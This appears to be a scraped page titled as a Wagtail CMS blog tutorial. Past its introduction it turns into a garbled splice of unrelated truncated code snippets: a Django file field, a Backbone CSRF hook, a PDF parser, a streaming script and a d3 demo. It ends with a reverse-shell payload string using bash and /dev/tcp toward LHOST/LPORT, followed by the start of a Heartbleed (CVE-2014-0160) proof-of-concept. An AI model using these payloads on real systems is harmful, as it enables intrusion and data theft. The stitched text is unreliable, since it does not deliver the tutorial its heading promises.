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Frontend Development

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Wagtail tutorial

Thanks to [Serafeim Papastefanos] for authoring this tutorial. Please note that the installation process is in flux; most of the steps here should soon be unnecessary.

[Wagtail] is a new Open Source [Django]-based CMS. In this 20 minute tutorial we will see how you can create a blog from scratch using Wagtail. If you want to see some more examples of usage please take a look at the [wagtaildemo] GitHub project.

To follow this tutorial you will need to have [Python] 2.7 installed with a working version of [pip] and [virtualenv].

Installing the wagtail dependencies

	import base64
	import os
	from tastypie.fields import FileField
	from django.core.files.uploadedfile import SimpleUploadedFile

	class Base64FileField(FileField):
	"""
	A django-tastypie field for handling file-uploads through raw post data.
	It uses base64 for en-/decoding the contents of the file.
	Usage:

	var oldSync = Backbone.sync;
	Backbone.sync = function(method, model, options){
	options.beforeSend = function(xhr){
	xhr.setRequestHeader('X-CSRFToken', CSRF_TOKEN);
	};
	return oldSync(method, model, options);
	};

	#!/usr/bin/env python
	# parse_toc.py

	from pdfminer.pdfparser import PDFParser, PDFDocument

	def parse(filename, maxlevel):
	fp = open(filename, 'rb')
	parser = PDFParser(fp)
	doc = PDFDocument()
	parser.set_document(doc)

	#!/usr/bin/python
	#based on the ideas from http://synack.me/blog/implementing-http-live-streaming
	# Updates:
	# - 2024-04-24: Apply suggestions from @Pin80
	# Run this script and then launch the following pipeline:
	# gst-launch videotestsrc pattern=ball ! video/x-raw-rgb, framerate=15/1, width=640, height=480 ! jpegenc ! multipartmux boundary=spionisto ! tcpclientsink port=9999
	#updated command line
	#gst-launch-1.0 videotestsrc pattern=ball ! videoconvert ! video/x-raw, framerate=15/1, width=640, height=480 ! jpegenc ! multipartmux boundary=spionisto ! #tcpclientsink port=9999

	from multiprocessing import Queue

	<!DOCTYPE html>
	<html>
	<head>
	<title>Simple Tree Demo</title>
	<script src="http://d3js.org/d3.v2.js"></script>
	<style>
	.link {
	fill: none;
	stroke: #ccc;
	stroke-width: 1.5px;

	# -- coding: utf-8 --
	#

	import tempfile
	import sys, os
	import re

	LHOST, LPORT = ('127.0.0.1', '4444')

	PAYLOAD = (r'''os.system('echo "bash -c \'0<&76-;exec 76<>/dev/tcp/%s/%s;

	#!/usr/bin/env python2
	"""
	Author: takeshix <takeshix@adversec.com>
	PoC code for CVE-2014-0160. Original PoC by Jared Stafford (jspenguin@jspenguin.org).

	Supportes all versions of TLS and has STARTTLS support for SMTP,POP3,IMAP,FTP and XMPP.
	"""

	import sys,struct,socket
	from argparse import ArgumentParser